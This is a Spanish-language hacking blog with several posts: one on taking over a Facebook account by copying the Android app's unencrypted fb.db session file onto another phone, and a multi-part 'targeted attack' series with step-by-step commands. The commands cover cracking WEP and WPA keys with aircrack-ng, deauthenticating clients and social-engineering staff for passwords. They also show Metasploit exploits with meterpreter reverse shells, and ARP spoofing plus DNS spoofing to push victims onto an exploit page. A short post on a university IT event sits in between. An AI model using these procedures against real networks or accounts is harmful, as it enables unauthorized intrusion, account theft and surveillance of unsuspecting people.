lunes, 12 de noviembre de 2012

[Hack] Android Facebook Disclosure & Como robar una cuenta

Hace tiempo que venia pensando como podría ser el funcionamiento de la aplicación móvil de facebook. Me intrigaba como la aplicación obtenía los datos de una consulta web. Es decir, el navegador envía una consulta y el servidor devuelve una respuesta con el contenido del archivo html que luego interpreta y muestra. Básicamente siempre se envía una consulta, quizá algo diferente en AJAX pero internamente es el mismo proceso. Entonces ¿Como la aplicación recibía la información y la almacena para luego mostrarla? no me refiero a la conexión ya que es cuestión de sockets, sino al almacenamiento de cookies, datos etc.

Basándome que android tiene una ruta general para almacenar los datos del móvil, y que utiliza SQLite (un psudomotor de base de datos con estructura, metadatos y datos en un solo archivo)  para almacenar toda la información, decidí  realizar el mismo procedimiento que en la entrada de whatsapp http://gonzac-studios.blogspot.com.ar/2012/03/hack-obtener-mensajes-de-whatsapp.html :

Utilizo el Android Terminal Emulator para abrir una terminal o consola y así acceder a los directorios del sistema y usatilizar algunos comandos de linux.
A diferencia de con whatsapp, los archivos base de datos de facebook tienen restringido copiar o mover los archivos. Es decir que si nos posicionamos en la carpeta donde se encuentran los archivos para copiarlos o al revés, posicionados desde la tarjeta de memoria. No se nos permitirá aunque seamos superusuarios.

La primera falla está en que el sistema no bloquea la manipulación de la carpeta, entonces uno puede copiar la carpeta con sus archivos en su interior. Ya sea utilizando copia recursiva, o copiando solo la carpeta base de datos de facebook.
Como no sabia exactamente donde buscar, lo que hice en una primer instancia fue utilizar copiado recursivo donde antiguamente encontré la base de datos de whatsapp. De esta forma copie todos los datos de la carpeta "/data/data" para luego analizar con mas detenimiento cada carpeta.


Dentro de esta carpeta existe una llamada "com.facebook.katana" y dentro de la misma otra llamada "databases". En esta ultima el segundo fallo; facebook no encripta los datos.
¿Que se guarda en ellas? Dentro hay 3 archivos, el mas interesante es el "fb.db". Al igual que con whatsapp, utilizo el SQLite Manager para abrir la base de datos y ¡Eureka!. 
La aplicación facebook hace una consulta al servidor, en primer lugar enviando el usuario y la contraseña para luego obtener una sesión y todos los datos que necesita para visualizar. Es decir, el servidor envía las notificaciones, noticias, mensajes, información de contactos, etc. Las almacena y guarda para luego tener un fácil acceso a ellas. 
-Datos de amigos de facebook

-Información de amigos, para agregar a la agenda

-Historial de chat

-Contactos con los que se ha conversado

Un usuario o aplicación maliciosa que tenga acceso al móvil  roba esta base de datos y puede tener acceso a la información que se registró en el momento. Si bien es peligroso por la cantidad de información, existe un fallo gravisimo en la forma en que se conecta.

¿Como robar una cuenta de facebook?
El tercer fallo y el mas grave, es que para mantener la sesión iniciada en el móvil, la aplicación almacena las credenciales del usuario.


 Obviamente no se revela la contraseña, pero esta no es necesaria para iniciar sesión. La base de datos puede ser usada para ser leída por la aplicación móvil como una sesión ya iniciada. Veamos un ejemplo:
-En primer lugar no tiene que haber ninguna sesion iniciada
-En la tarjeta de memoria con la base de datos "fb.db" que un atacante robó previamente de un teléfono móvil. Utiliza el Android Terminal Emulator, copiando el archivo a la carpeta de facebook y forzando su reemplazo con el comando 
cp fb.db /data/data/com.facebook.katana/databases/fb.db -f
-Ahora al abrir nuevamente la aplicación, entrará directamente a la cuenta de facebook robada

---------------
Quizás con un poco de estudio, se pueda crear una aplicación para robar los datos, generar una credencial valida o romper el sistema de generación de identificaciones. Digo... son solo unas ideas.

jueves, 11 de octubre de 2012

Jornadas de Informática 2012 - UNPA

Dejando el hacking un poco de lado, les comento que el pasado miércoles 10, se dio inicio a las jornadas de informática en la universidad nacional de la protagoniza austral con sede en Río Gallegos. Aunque menos días de lo habitual, alcanzó para realizar una amplia variedad de cursos y charlas.
El primer día se realizó un recorrido por establecimiento y se comenzó con algunas charlas como "Introducción a la Programación con Mundos 3D" entre otras. Y un curso de reparación de Pc. A su vez, se inauguró el "Museo de la informática", con la evolución de la informática en las ultimas décadas.




-Comparación, antiguos servidores.


-Teclados no estandarizados: La tecla diagonal izquierda arriba.
-Teclados no estandarizados: Flechas consecutivas. 

-Izquierda: Válvula de vació. Derecha: Memoria núcleo de ferrita.

El segundo día se continuó con las diferentes charlas, un curso básico sobre redes inalámbricas y el esperado por los amantes del software libre, "La clínica de linux" con la ultima distribución de ubuntu, y para los mas avanzados "Virtualizacion de sistemas, basado en linux".

El ultimo día se realizó un pequeño concurso de redes, no como el reto de http://gonzac-studios.blogspot.com.ar/2010/09/el-reto-del-concurso-de-redes.html, sino algo mucho mas básico. Se continuó con otras charlas y finalmente se dio lugar a una de las mas concurridas "Overclocking Extremo", explicando los conceptos mas básicos del overclocking, pasando a overclocking avanzado y realizando una demostración con nitrógeno liquido alcanzando casi por unas décimas el récord mundial.



-------------
Las capturas de los cpu benchmark se los debo, porque no me quedaba mas memoria en el celular!.


domingo, 30 de septiembre de 2012

[Hack: Ataque dirigido parte.4] Entrar a un ordenador en la red

En la entrada anterior se vio como obtener la contraseña del router para entrar a la red:
Lo ideal seria crear un tunel al router para acceder desde otra ubicación, pero ello implica que el router debe soportar VPN (virtual private net), al igual que el otro "extremo". Segundo, es una técnica "ruidosa" ya que la configuración es vista por el administrador de red. Y en tercer lugar hay que poder acceder al router. Esto ultimo no es complicado debido a que la gran mayoría no cambia la contraseña de acceso que viene por defecto, y en ese caso es cuestión de buscar información sobre el dispositivo. Existe el programa Simple Port Forwarding con una base de datos con gran cantidad de dispositivos y sus contraseñas. En caso de querer abrir algún puerto habiendo perdido la contraseña, lo pueden descargar de la pagina del autor  http://www.simpleportforwarding.com/.
También podría hacerse por fuerza bruta, pero esto se escapa a lo que se intenta explicar en el articulo.

CONFIGURACIÓN BÁSICA DE RED:
Es necesario utilizar la tarjeta wireless usb para conectarse, debido a que si nos conectamos desde la otra tarjeta como "adaptador puente" de la maquina virtual. No tendremos una ip valida para visualizar los demás equipos en la red. Como en linux no existe el visor de redes como en windows, hay que hacerlo por consola. Pero verán que es bastante sencillo.
*Nota: Si todavía tienen el modo monitor encendido deben pararlo con airmon-ng stop "interfaz_monitor"
Si visualizamos las tarjetas con iwconfig, podemos ver unos campos como essid y key que hay que completar.

Entonces para completarlos se utiliza iwconfig "interfaz_de_red" essid "nombre_del_ap" key "contraseña" mode Managed .

Ahora podemos visualizar las conexiones de red con ifconfig.
-eth0 la interfaz de la tarjeta puente, 'lo' la interfaz local y wlan0 la interfaz usb.
Para poder utilizar correctamente la red, hay primero que dar de baja la interfaz del adaptador puente, en este caso eth0. Para eso, solo usamos ifconfig 'interfaz' down .
*Nota: Es probable que la primera vez que lo hagan siga activa, así que deberán visualizar para ver si se encuentra y volver a desactivarla. Hasta que no aparezca con ifconfig.

Si no se dieron cuenta, la interfaz no tenia una dirección ip asociada. Eso es porque el servicio DHCP que nos brinda una dirección ip, no se ha iniciado. Por lo que solo es cuestión de pasarle la interfaz tecleando dhclient "interfaz"

ESCANEO Y EXPLOTACION CON METASPLOIT:
Ya estamos en la red, esta parte puede ser complicada, otras veces dependiendo de la organización puede resultar demasiado simple. Por lo que hay que escanear un gran numero de equipos, para tener mejores resultados.
El escaneo puede hacerse simplemente desde la consola en que se venia trabajando, pero después será necesario cargar un exploit. Por eso hay que posicionarse en la carpeta /opt/metasploit e iniciar una consola de metasploit con msfconsole

Es necesario conocer todos los equipos que se encuentran en la red, como se vio alguna vez en la entrada  http://gonzac-studios.blogspot.com.ar/2009/04/hack-accediendo-otro-ordenador-por-wifi.html
*Por cierto, ahora que la veo es una pésima redacción. Volviendo al tema; hay que hacer uso de una herramienta casi legendaria: el Nmap fué desarrollado por el hacker Fydoor allá por 1997 (si mal no recuerdo) y se ha convertido en una herramienta muy utilizada por administradores de red. Se basa en su mayoría en el envió de distintos tipos de paquetes, cabeceras y sus respuesta (connect, syn, urg, push, fin, ping, ack, etc).
Cualquiera puede programar un scaner de red, por ejemplo con el envió de ping a un rango de IPs. Inclusive yo programé uno en Java, pero el poco de manejo del hardware lo hace muy lento.
Para escanear solo hace falta teclear db_nmap -sP "ip_de_inicio"-255

Hay que admitir que después de todo, los sistemas operativos y las aplicaciones están viniendo cada vez mas seguros; encontrar un bug no es algo tan frecuente. Así que en lo posible hay que buscar una versión vieja. Se puede detectar el sistema operativo de un equipo según las ip entregadas anteriormente o de un rango de ip con db_nmap -O "ip_de_inicio"-255   y aprovechar la base de datos de metasploit para guardar el escaneo con -oA "nombre"

Una vez finalizado el escaneo solo queda importar la base de datos: db_import "nombre"

Y visualizamos los resultados con los comando HOSTS, o SERVICES en caso de querer ver las aplicaciones que corren en un determinado puerto etc.

En la imagen anterior marqué un equipo con xp, obviamente empecé por el ya que debería tener al menos algun bug (Lo que no entendí bien es el "xp 5.1"). Suponiendo que es service pack 3, va a ser mas complicado debido a que seguramente tiene corregida la vulnerabilidad de desbordamiento de pila del servicio net api de windows (permite sobre escribir un sector de memoria y obtener una shell remota). De todas formas comprobé que no era vulnerable de esta manera, por lo que no dejo la imagen.
Pensando que tal vez en el sector debería haber al menos una impresora, se me ocurrió escanear los recursos compartidos. Lo que no mucha gente sabe es que windows siempre facilitó comandos y herramientas para la administración de la red que permiten ser utilizados para la enumeración. Al estar en un entorno linux contamos con las mismas herramientas auxiliares en smb.
Para cargar el escaner se teclea: use auxiliary/scanner/smb/smb_enumshares ,se setea el host remoto por la ip de la maquina a escanear: set RHOSTS "ip" , y se corre la aplicación con Run .
*Nota: Para para salir usar back.

Al parecer estoy de suerte, hay impresoras compartidas y algunos otros recursos. Se podría acceder como se vio en la antigua entrada http://gonzac-studios.blogspot.com.ar/2009/04/hack-accediendo-otro-ordenador-por-wifi.html pero crear y colocar un troyano, hacerlo indetectable y esperar que alguien acceda para poder ejecutarse es demasiado trabajo.
-------------------------------------------------------------
 ¿Porque una impresora? windows utiliza el servicio print spooler para manejar la impresora, como bien se sabe, cuando se mandan a imprimir un archivo estos se colocan en una "cola de impresión", se genera unos archivos temporales y al estar compartido se puede ejecutar el servicio de forma remota. ¿Como funciona la vulnerabilidad? Si se hace una llamada al procedimiento StartDocPrinter, la maquina remota puede hacerse pasar por el servicio de "cola de impresión"  y crear un archivo. Se puede especificar cualquier nombre y cambiar la ruta a través de "directorio transversal" o ruta especifica.El servicio WritePrinter escribe el código en el archivo y WMI ejecuta el contenido siempre que escanea la ruta  Wbem\mof.
-------------------------------------------------------------
Teniendo el exploit, se hace el mismo procedimiento que con el escaner: use windows/smb/ms10_061_spoolss para cargar, un payload que vendría a ser la acción o código que se desea cargar (obtener una shell remota, una ventana u otra accion). Hay mucho, desde una simple consola enviada por TCP, hasta otras mas elaboradas como un meterpreter. Este meta interprete añade funcionalidades a una simple consola haciéndola mucho mas flexible el manejo del pc remoto. En este caso  set PAYLOAD windows/meterpreter/reverse_tcp  .Solo se necesita el host local  set LHOST "nuestra_ip" y el host remoto  set RHOST "ip_del_otro_equipo". Una vez configurado se lanza el exploit con "exploit"
*Nota:Si no nos acordamos, podemos obtener nuestra ip mediante  ip -s route
-Vaya! estuvo cerca. El exploit falló, parece ser que no es vulnerable.

FALSO DNS, INTERSEPTACIÓN DE TRAFICO, REDIRECCIÓN Y PENETRACIÓN:
Hace poco se encontraron varias vulnerabilidades en módulos de exploradores de internet que permiten ejecutar condigo. En estos casos, se busca que el equipo atacado ingrese a una dirección que contenga el código malicioso. ¿Pero si el usuario no ingresa al sitio? ahí esta el tema, todos lo describen como funcionales por ingeniería social. Yo no tenia tiempo, y engañar un usuario en un sistema al que hay que pasar desapercibido es inútil. Por lo que se me ocurrió combinar distintas técnicas y hacer que el exploit se ejecute automáticamente al entrar una pagina de internet conocida por el usuario.
Para ser sincero desconozco si a alguien mas ya se le ha ocurrido, o existe alguna otra forma mas eficiente.
En primer lugar hay que tener un exploit en lo posible multi explorador, yo aproveche un error en java jre 7. No se trata de un desbordamiento de pila, sino en la utilización de sus propias "clases". En resumen la clase com.sun.beans.finder.ClassFinder, tiene un metodo findClass() que permite hacer una referencia a una clase con propiedad restringida (acceso al paquete). De esta forma utilizar la clase sun.awt.SunToolkit y su metodo getField() para hacer uso de findMethod(), acceder a los campos privilegiados, modificar AccessControlContext y desactivar el administrador de seguridad. Así ejecutar el código.
Igual que antes, cargamos el exploit con  use exploit/multi/browser/java_jre17_exec ,luego hay que setiar el payload, set PAYLOAD windows/meterpreter/reverse_tcp , el host local  set LHOST "nuestra_ip" .Y una vez configurado se lanza el exploit con "exploit" que quedará a la espera de una sesion.

Si se fijan, en la imagen el exploit genera una url a la cual se debe ingresar para poder ejecutarse, que es la ip local, el puerto y una serie de caracteres. Es improbable que alguien escriba la url para acceder. Pero ¿les digo algo?, no hace falta. Básica es que el trafico en vez de ser enviado directamente, antes  pase por mi. ¿Les suena familiar?, como con la interseptación de trafico visto en "Cuidado! alguien puede estar viendo tus SMS Online" o " Las paginas juegan con nuestros datos " se puede engañar al router, utilizando la técnica Man in the middle a través del envenenamiento ARP.
Ya tengo una cosola con el exploit, ahora en otra consola hago el spoofing arp para redirigir los paquetes  arpspoof -i "interfaz" -t "ip_del_equipo" "ip_del_AP"

Luego había que habilitar el enrutado y el tipo, mediante fragrouter -B1 (No confundir con fragroute sin 'r' al final) 

Ya redirigido el trafico, en vez de capturar los paquetes. Necesito actuar de falso servidor dns. El protocolo dns lo que hace es resolver los nombres de las paginas, su url y entregar una ip valida. Por lo que actuando como servidor, mediante el nombre de una pagina le entrego una ip distinta sin que se de cuenta. Pero antes hay que crear un archivo tipo host. Los archivos host, básicamente se encargan de resolver direcciones de red locales, por ejemplo localhost es 127.0.0.1. Esto son utilizados muchas veces para restringir el acceso a una determinada pagina, o inclusive existen virus que modifican el archivo host para redireccionar a una pagina fraudulenta.
No requiere de mucho conocimiento,  con el editor  nano "nombre_del_archivo" se crea y se coloca la ip, un espacio y la url. Yo por ejemplo  "ip_local   www.google.com". De esta forma, decimos que la ip de google es en realidad mi ip. Y para que el ataque funcione hay que iniciar dnsspoof -f "nombre_del_archivo"

Ahora bien, estarán pensando "En vez de entrar a google entra a mi ip, pero no a la url del exploit!". Exacto ahí fue cuando se me ocurrió, montar un servidor y que un script haga todo el trabajo. Tan sencillo como crear un html con el metodo onLoad() que llame a un javascript con la función location.href  en la ruta /var/www de apache.

Ya esta listo, ahora guardar la pagina, iniciar el servidor apache con apache2ctl start y a esperar!
En la ventana en donde fue lanzado el exploit, aparecerá que se a iniciado una sesión. Con session -i "numero_de_session" estoy dentro! solo queda borrar el archivo host para que no haya sospechas, y puedan navegar tranquilamente.
Ahora muevo 10 centavos de cada cuenta bancaria y con 1millon de usuarios obtengo $100.000. Es broma.

-------------
IMPORTANTE: Esto no es un tutorial, Gonzac Studios no se hace responsable por el mal uso de este material.

domingo, 26 de agosto de 2012

[Hack: Ataque dirigido parte.3] Penetrar en una red

Ya preparamos la tarjeta de red en la entrada:
http:\\gonzac-studios.blogspot.com.ar/2012/08/hack-ataque-dirigido-parte1-mejorando.html
E instalamos y configuramos la maquina virtual:

Quizá esta es una de las partes mas entretenida. Hay que aplicar todos los recursos necesarios para poder tener acceso a la red (En caso que la red no esté abierta, obviamente).

INGENIERÍA SOCIAL:
El primer paso es conseguir toda la información que nos pueda ayudar, no estoy hablando de enumeración de sistemas. Sino de ir físicamente al lugar y "preguntar".
Lo mas sencillo seria fingir ir a hacer unos tramites, utilizar el smartphone y preguntar la contraseña para conectarse. Otro caso, conversar mientras se espera y principalmente no demostrar conocimientos informáticos. Si hay algo que aprendí es que la gente se siente orgullosa del lugar donde trabaja y con gusto te termina explicando como se trabaja en el lugar, el sistema y la red. No hace falta estrictamente preguntar por la red, ya que hay que pasar desapercibido. Entonces en este punto anotar "nombres", cualquier otro nombre alternativo o anagrama que represente a la organización, información 2.0 (paginas y redes sociales), fechas y números (teléfonos, dni, etc). Una forma un poco mas "ruidosa" podría ser fingir estar haciendo un informe escolar sobre la organización.
Ahí no termina todo, también en lo posible hay que buscar datos en las redes sociales, nombre de hijos, fecha de cumpleaños e intereses.
Ya con toda esta información tenemos gran cantidad de posibles contraseñas. Para aumentar mas la posibilidad a estas contraseñas añadimos una combinación numérica como, 123 o 123456. Que a mi parecer seria las mas utilizadas. Incluso pueden crear "diccionarios" (lista de palabras a utilizar para fuerza bruta) con las palabras y números para crackear la red.

ANÁLISIS FÍSICO:
Si hasta ahora no consiguieron entrar a la red va a haber que usar técnicas hack para WEP o WPA. Pero para esto habrá que ubicarse relativamente cerca del "punto de acceso", por suerte tenemos nuestra antena o tarjeta de red mejorada (No hace falta que sea una parabólica, puede construirse una guía ondas, o inclusive sustituir la antena que viene por una direccional).

Otro punto importante es observar todo el perímetro, en caso de ver algún enrutador, las computadoras como están conectadas e inclusive las cámaras. Observar toda la zona exterior, y donde nos vamos a ubicar. Ademas, seria recomendable desde un automóvil polarizado o una camioneta tipo van. No por nada se eligieron en las películas, ademas del espacio no quedarás como el loco de la antena, recuerda que la idea seria pasar desapercibido. Muchos dirán que al estar dentro de la estructura metálica del auto, actuará como jaula de faraday bloqueando la señal, pero no es del todo cierto.
Para determinar el angulo de visión de las cámaras hay que tener en cuenta dos factores, el primero, que se utilizan para un mayor rendimiento a corta distancia y segundo que utilizan un lente estándar. Es decir que cada una tienen un angulo aproximadamente de 50º.

Dependiendo de la red, vamos a necesitar quizá bastante tiempo por lo que sería ideal tener una batería de larga duración y un cargador con un conector al encendedor del automóvil, como se vió en la entrada sobre las baterías:
http://gonzac-studios.blogspot.com.ar/2011/11/baterias-de-notebook-upgrade-msi.html

HACK CLAVE WEP:
El cifrado que se utiliza en WEP, no es mas que un RC4. Este es un cifrado de flujo de clave simétrica o privada, es decir que se utiliza una misma clave tanto para cifrar como para descifrar el mensaje. Y se denomina de flujo porque el cifrado se realiza bit a bit, byte a byte expandiendo la clave, a diferencia del cifrado en bloque. Y luego se le aplica una función xor en conjunto con una clave pseudoaleatoria. En el caso de la clave WEP se combina la calve secreta con un vector de inicialización público. Quedando una formula de la siguiente manera
R= Texto (XOR) RC4(IV,k)
Que sirve para cifrar, y luego se invierte para descifrar como toda operación matemática.
¿Como actúa la vulnerabilidad? Pues, es bastante sencillo. Si tenemos un Resultado1 para un X1 (en este caso un texto) y un Resultado2 para un X2, aplicando un poco de matemáticas podemos obtener una equivalencia.
R1 = X1 (xor) RC4(iv,k)
R2 = X2 (xor) RC4(iv,k)
Si, R1 (xor) R2 = [X1 (xor) RC4(iv,k) ] (xor) [X2 (xor) RC4(iv,k)] entonces X1(xor)X2.
Como los iv son aleatorios, mientras mas paquetes se hayan capturados mas posibilidades hay de que se repitan los iv.
Y para el texto plano simplemente se reconoce a partir de la estructura de trafico ip o paquetes broadcast, etc.

En la practica, iniciamos la maquina virtual y arrancamos la placa de red en /Configuración/Dispositivos USB
Abrimos una consola y tecleamos iwconfig para saber la interfaz de nuestra placa, luego iniciamos el modo monitor con airomon-ng start 'interfaz'.

Ahora que sabemos la interfaz del modo monitor, en este caso mon0. Ya podemos capturar los paquetes que viajan.
Tecleamos airodump-ng 'interfaz_monitor' para monitorear las redes, sus datos y los dispositivos conectados.
Paramos la captura con Control+C, y ya tenemos los datos necesarios. De forma parecida, vamos a capturar los paquetes pero filtrando el contenido por el MAC del acces point (BSSID) y el canal por el cual se transmite (columna CH), guardando la información en un archivo pcap. Para lo que tecleamos airodump-ng -c 'canal' --bssid 'mac' -w 'nombre_del_archivo' 'interfaz_monitor'
*Nota: el nombre del acces point (ESSID) no puedo mostrarlo por razones de confidencialidad.

Ahora abrimos otra consola y se debe enviar una falsa autenticacion para asociarse al AP y mas tarde poder inyectar paquetes. Para eso, usamos el comando aireplay-ng -1 'tiempo_de_reasociacion' -e 'nombre_del_Ap(essid)' -a 'mac_del_Ap(bssid)' -h 'nuestra_mac' 'interfaz_monitor' .

A diferencia de otros tutoriales, lo voy a hacer de la forma compleja. Esta se aprovecha de algo llamado en redes, fragmentacion. En resumen, como un paquete tiene que tener una longitud determinada (MTU), si se supera esa cantidad se debe fragmentar en varios paquetes donde cada uno tiene el numero de fragmento y de secuencia. Si recuerdan lo que dije al comienzo, se puede obtener texto plano a partir del tipo de paquetes etc. Un paquete valido posee una cabecera estática LLC del control de enlace lógico en los primeros 8 bytes. A estos datos solo hay que aplicarle la operación XOR. Como se necesita añadirle una sección ICV a los paquetes, solo quedará espacio para 4 bytes por lo que se utiliza la fragmentacion.
aireplay-ng -5 -b 'mac_del_Ap(bssid)' -h 'nuestra_mac' 'interfaz_monitor'
-Nos preguntara si usar el paquete, y respondemos Yes
-Al finalizar, se guardará todo en un archivo xor.

Una vez obtenida la informacion solo hay que crear el paquete que luego se va a inyectar. Para eso usamos la herramienta packetforge de la siguiente forma:
packetforge-ng -0 -a 'mac_del_Ap(bssid)' -h 'nuestra_mac' -k 255.255.255.255 -l 255.255.255.255 -y 'nombre_del_xor' -w 'nombre_del_paquete'
*Nota: la ip -k y -l son la del acces point y una ip valida. Los valores 255, es debido a que se desconoce estos valores.
Luego solo hay que inyectar el paquete con el comando aireplay-ng -2 -h 'nuestra_mac' -r 'nombre_del_paquete' 'interfaz_monitor'.
-Nos preguntará usar ese paquete, y respondemos Yes
Lo único que queda es esperar a atrapar suficientes IVs, que aparecen como #Data en la ventana donde se está corriendo el airodump. Lo ideal es capturar unos 60.000 para estar seguros, pero aveces se puede con solo unos 15.000.
Finalmente corremos el Aircrack para obtener la contraseña, de la siguiente forma: aircrack-ng -s 'nombre_del_archivo(el indicado al comienzo con airodump)*.cap'
-Por fin!, ya tenemos la contraseña. En este caso secfinanzas05

HACK CLAVE WPA:
En las claves wpa se siguió utilizando el algoritmo rc4, pero para protegerlo de ataques se añadió un contador de tramas y un código de redundancia cíclica para comprobar la integridad de las mismas. Esto evita los ataques de replicacion, a lo que ademas añade un bloqueo en caso intentos de ataques. Con el tiempo se fue mejorando, y surgiendo otros tipos como wpa2. Generalmente se utiliza autenticacion PSK, es decir claves pre-compartidas (Existen otros). Su cifrado tkip genera claves diferentes y dinámicas por usuario a partir de un hash aleatorio, la MAC del usuario y un vector de inicializacion.
Debido a esto la única forma de romper la clave es mediante fuerza bruta. Por lo que debemos obtener el denominado "handshake" que se genera y se envía al momento que un 'cliente' se conecta a la red.
Al igual que con la clave wep, iniciamos el modo monitor, luego el airodump para ver las redes, y monitoreamos el trafico hasta capturar el handshake.

--------
Para no esperar tanto tiempo y si hay alguien conectado. Simplemente lo deautentificamos para que se vuelva a conectar y así capturar el handshake.
Una vez que tenemos el cliente, abrimos una nueva consola y tecleamos
aireplay-ng -0 1 -a 'mac_del_Ap(bssid)' -c 'mac_del_cliente(station)' 'interfaz_monitor'
-------
Ya tenemos el hanshake ahora solo queda crackearlo. Pero no lo vamos a hacer a ciegas.
1)Lo ideal si usaron ingeniería social, pueden construir un diccionario con posibles contraseñas.
2)Si ese diccionario no dio resultado, usamos un diccionario de contraseñas mas utilizadas.
3)Si la organización pertenece a algún rubro especifico, utilizamos un diccionario de palabras especificas por ejemplo palabras de informática.
4)Podemos dividir en 2 diccionarios con nombres, uno con nombres de mujeres y otros de hombres.
5)Utilizar un diccionario con palabras comunes, medianamente amplio.
6)Utilizar un diccionario con un rango de números.

Para usar un diccionario con aircrack solo se realiza de la siguiente forma:
aircrack-ng -w 'ruta_del_diccionario' -b 'mac_del_Ap' -a 2 'nomber_archivo'
Sino generando una salida con john the ripper:
john -incremental=digits --stdout | aircrack-ng -w - -b 'mac_del_Ap' -a 2 'nomber_archivo'

REDUCIR EL TIEMPO:
Teniendo el hanshake capturado podemos transportar el archivo generado.
TRABAJO DISTRIBUIDO: Una forma de reducir significativamente el tiempo es utilizando múltiples computadoras que trabajen paralelamente para resolver la contraseña, por lo que conviene siempre tener distintas listas en archivos separados. Una notebook con un procesador de dos núcleos resuelve aproximadamente unas 450 contraseñas por segundo. Si tenemos 3 notebook trabajando al mismo tiempo serian unas 1350 por segundos.
PARALELISMO: Actualmente el desarrollo de las tarjetas gráficas, han creado el termino gpgpu o gpu de propósito general. Si bien el procesador de estas tarjetas no tiene una frecuencia mayor a la de un CPU. Su tecnología de unidades segmentadas, permite que una gran cantidad de unidades funcionales puedan resolver cantidades enormes de cálculos paralelamente. Aplicaciones como pyrit y oclhashcat permiten utilizar el gpu. Tal es la diferencia que una tarjeta NVIDIA Tesla S1070 es capaz de resolver aproximadamente 52.400 contraseñas por segundo.
OVERCLOCKING: Aunque actualmente no se practica con mucha frecuencia debido al uso masivo de portátiles. Este es una buena opción para mejorar algo del rendimiento. Es imprescindible que aunque no se haya modificado el reloj, se mantenga frió el cpu.
LISTAS PRECOMPUTADAS: Las listas PMKs son tablas que utilizan la PMK (clave maestra pareja), que se compone de la clave y el nombre de la red. Es decir que si tenemos un nombre de red genérico podemos usar estas tablas para saltarnos el paso donde aircrack calcula la PMK por cada palabra.

Próxima entrada: